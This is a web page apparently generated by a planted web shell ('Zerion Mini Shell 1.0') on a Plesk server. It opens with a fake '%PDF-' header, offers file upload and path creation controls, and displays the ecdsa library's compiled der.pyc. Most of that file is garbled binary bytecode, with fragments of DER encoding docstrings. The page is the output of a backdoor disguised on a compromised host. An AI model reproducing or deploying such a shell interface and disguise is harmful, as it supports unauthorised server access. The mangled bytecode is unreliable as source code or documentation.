%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pyc

�
�ac@ s;ddlmZddlZddlZddlZddlmZddlmZm	Z	m
Z
ddlmZde
fd��YZd	�Zd
�Ze�Zed�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zed�Z d�Z!d�Z"dS(i����(tdivisionN(tchain(tint2bytetbt	text_typei(tstr_idx_as_intt
UnexpectedDERcB seZRS((t__name__t
__module__(((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pyRscC s"td|�tt|��|S(Ni�(Rt
encode_lengthtlen(ttagtvalue((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pytencode_constructedscC s�|dkst�d|j�}t|�drEtd�|}ntj|�}t|d�}|dkr�td�tt|��|Std�tt|�d�td�|SdS(	Nis%xit0isis(tAssertionErrortencodeR
Rtbinasciit	unhexlifyRR	(trthtstnum((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pytencode_integerscC s�d}d}|tkr+tjdt�n�|dk	r�d|koNdknsbtd��n|r�|s}td��nt|d�}|d|d	@r�td
��q�nt|�}d	}ntd�t	t
|�|�||S(
s�
    Encode a binary string as a BIT STRING using :term:`DER` encoding.

    Note, because there is no native Python object that can encode an actual
    bit string, this function only accepts byte strings as the `s` argument.
    The byte string is the actual bit string that will be encoded, padded
    on the right (least significant bits, looking from big endian perspective)
    to the first full byte. If the bit string has a bit length that is multiple
    of 8, then the padding should not be included. For correct DER encoding
    the padding bits MUST be set to 0.

    Number of bits of padding need to be provided as the `unused` parameter.
    In case they are specified as None, it means the number of unused bits
    is already encoded in the string as the first byte.

    The deprecated call convention specifies just the `s` parameters and
    encodes the number of unused bits as first parameter (same convention
    as with None).

    Empty string must be encoded with `unused` specified as 0.

    Future version of python-ecdsa will make specifying the `unused` argument
    mandatory.

    :param s: bytes to encode
    :type s: bytes like object
    :param unused: number of bits at the end of `s` that are unused, must be
        between 0 and 7 (inclusive)
    :type unused: int or None

    :raises ValueError: when `unused` is too large or too small

    :return: `s` encoded using DER
    :rtype: bytes
    tis:Legacy call convention used, unused= needs to be specifiedis&unused must be integer between 0 and 7s!unused is non-zero but s is emptyi����iis unused bits must be zeros in DERsN(t_sentrytwarningstwarntDeprecationWarningtNonet
ValueErrorRRRR	R
(Rtunusedtencoded_unusedt	len_extratlast((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pytencode_bitstring(s"$	
	cC std�tt|��|S(Ns(RR	R
(R((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pytencode_octet_string`scG s�d|kodknr8d|ko3dknsV|dkrPd|ksVt�djttd||�gd�|D���}dtt|��|S(Niii'Ri(cs s|]}t|�VqdS(N(t
encode_number(t.0tp((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pys	<genexpr>gss(RtjoinRR%R	R
(tfirsttsecondtpiecestbody((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pyt
encode_oiddsVcG sLtg|D]}t|�^q
�}td�t|�td�j|�S(NRR(tsumR
RR	R((tencoded_piecesR't	total_len((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pytencode_sequenceks%cC s�g}x,|r4|jd|d@dB�|d?}q	W|sK|jd�n|dcdM<td�jg|D]}t|�^qn�S(Niii�ii����R(tinserttappendRR(R(tntb128_digitstd((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pyR%ps	cC s�t|d�}|d@dkr2td|��n|d@}t|d�\}}|d|d||!}|d||}|||fS(Nii�i�s5wanted type 'constructed tag' (0xa0-0xbf), got 0x%02xii(RRtread_length(tstringts0RtlengthtllenR,trest((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pytremove_constructed{s

cC s�|std��n|d dkrGt|d�}td|��nt|d�\}}|t|�d|kr�td��nd||}|d||!||fS(Ns'Empty string does not encode a sequenceiRis)wanted type 'sequence' (0x30), got 0x%02xs&Length longer than the provided buffer(RRR7R
(R8R4R:tlengthlengthtendseq((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pytremove_sequence�scC s}|d dkr2t|d�}td|��nt|d�\}}|d|d||!}|d||}||fS(Nisis,wanted type 'octetstring' (0x04), got 0x%02x(RRR7(R8R4R:R;R,R<((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pytremove_octet_string�scC sf|std��n|d dkrGt|d�}td|��nt|d�\}}|d|d||!}|d||}|s�td��nt|�|kr�td��ng}x3|r�t|�\}}|j|�||}q�W|jd�}|dkr"|d	}	nd
}	|d	|	}
|jd|	�|jd|
�t|�|fS(Ns1Empty string does not encode an object identifierisis'wanted type 'object' (0x06), got 0x%02xsEmpty object identifiers;Length of object identifier longer than the provided bufferiPi(i(	RRR7R
tread_numberR3tpopR2ttuple(R8R4R:R>R,R<tnumberstlltn0R)R*((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pyt
remove_object�s6	

cC sR|std��n|d dkrGt|d�}td|��nt|d�\}}|t|�d|kr�td��n|dkr�td��n|d|d||!}|d||}t|d�}|dks�td	��n|dkr6|r6t|d�}|dkr6td
��q6nttj|�d�|fS(Ns1Empty string is an invalid encoding of an integerisis(wanted type 'integer' (0x02), got 0x%02xs"Length longer than provided buffers0-byte long encoding of integeri�s#Negative integers are not supporteds;Invalid encoding of integer, unnecessary zero padding bytesi(RRR7R
tintRthexlify(R8R4R:R;tnumberbytesR<tmsbtsmsb((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pytremove_integer�s(cC s�d}d}t|d�dkr0td��nxjtr�|t|�krZtd��n|d>}t||�}||d@7}|d7}|d@s3Pq3q3W||fS(Nii�s)Non minimal encoding of OID subidentifiersran out of length bytesiii(RRtTrueR
(R8tnumberR;R6((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pyRB�s	


cC s�|dkst�|dkr(t|�Sd|j�}t|�dr[td�|}ntj|�}t|�}td|B�|S(Nii�s%xiR(RRRR
RRR(tlRR;((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pyR	�s
cC s�|std��nt|d�}|d@s<|d@dfS|d@}|s[td��n|t|�dkr�td��nt|d�}|s�|dkr�|dkr�td��nttj|dd|!�d	�d|fS(
Ns,Empty string can't encode valid length valueii�iis.Invalid length encoding, length of length is 0s,Length of length longer than provided buffersNot minimal encoding of lengthi(RRR
RIRRJ(R8RR;RL((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pyR7�s

c	C s�|std��n|tkr4tjdt�nt|d�}|d dkrftd|��nt|d�\}}|s�td��n|d|d||!}|d||}|tk	r�t|d�}d|ko�dknstd	��n|dk	r)||kr)td
��n|d}|r�|sNtd��nt|d�}|d
|d@r�td��q�n|dkr�||f}q�n||fS(sD
    Remove a BIT STRING object from `string` following :term:`DER`.

    The `expect_unused` can be used to specify if the bit string should
    have the amount of unused bits decoded or not. If it's an integer, any
    read BIT STRING that has number of unused bits different from specified
    value will cause UnexpectedDER exception to be raised (this is especially
    useful when decoding BIT STRINGS that have DER encoded object in them;
    DER encoding is byte oriented, so the unused bits will always equal 0).

    If the `expect_unused` is specified as None, the first element returned
    will be a tuple, with the first value being the extracted bit string
    while the second value will be the decoded number of unused bits.

    If the `expect_unused` is unspecified, the decoding of byte with
    number of unused bits will not be attempted and the bit string will be
    returned as-is, the callee will be required to decode it and verify its
    correctness.

    Future version of python will require the `expected_unused` parameter
    to be specified.

    :param string: string of bytes to extract the BIT STRING from
    :type string: bytes like object
    :param expect_unused: number of bits that should be unused in the BIT
        STRING, or None, to return it to caller
    :type expect_unused: int or None

    :raises UnexpectedDER: when the encoding does not follow DER.

    :return: a tuple with first element being the extracted bit string and
        the second being the remaining bytes in the string (if any); if the
        `expect_unused` is specified as None, the first element of the returned
        tuple will be a tuple itself, with first element being the bit string
        as bytes and the second element being the number of unused bits at the
        end of the byte array as an integer
    :rtype: tuple
    s(Empty string does not encode a bitstringsALegacy call convention used, expect_unused= needs to be specifiediiss#wanted bitstring (0x03), got 0x%02xs(Invalid length of bit string, can't be 0isInvalid encoding of unused bitss Unexpected number of unused bitss$Invalid encoding of empty bit stringi����is#Non zero padding bits in bit stringN(RRRRRRR7R(	R8t
expect_unusedRR:R;R,R<RR"((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pytremove_bitstring
s:'	

cC s�t|t�r|j�}ntd�jg|jtd��D].}|r@|jtd��r@|j�^q@�}tj	|�S(NRs
s-----(
t
isinstanceRRRR(tsplitt
startswithtstriptbase64t	b64decode(tpemRQR6((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pytunpemqs
(1cC s�tj|�}d|j�g}|jgtdt|�d�D]!}|||d!td�^qA�|jd|j��td�j|�S(Ns-----BEGIN %s-----
ii@s
s-----END %s-----
R(	RXt	b64encodeRtextendtrangeR
RR3R((tdertnametb64tlineststart((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pyttopemzs	>(#t
__future__RRRXRt	itertoolsRtsixRRRt_compatRt	ExceptionRR
RtobjectRR#R$R-R1R%R=R@RARHRNRBR	R7RSR[Rd(((s>/opt/plesk/python/2.7/lib/python2.7/site-packages/ecdsa/der.pyt<module>s4			8						
	
					d		

Zerion Mini Shell 1.0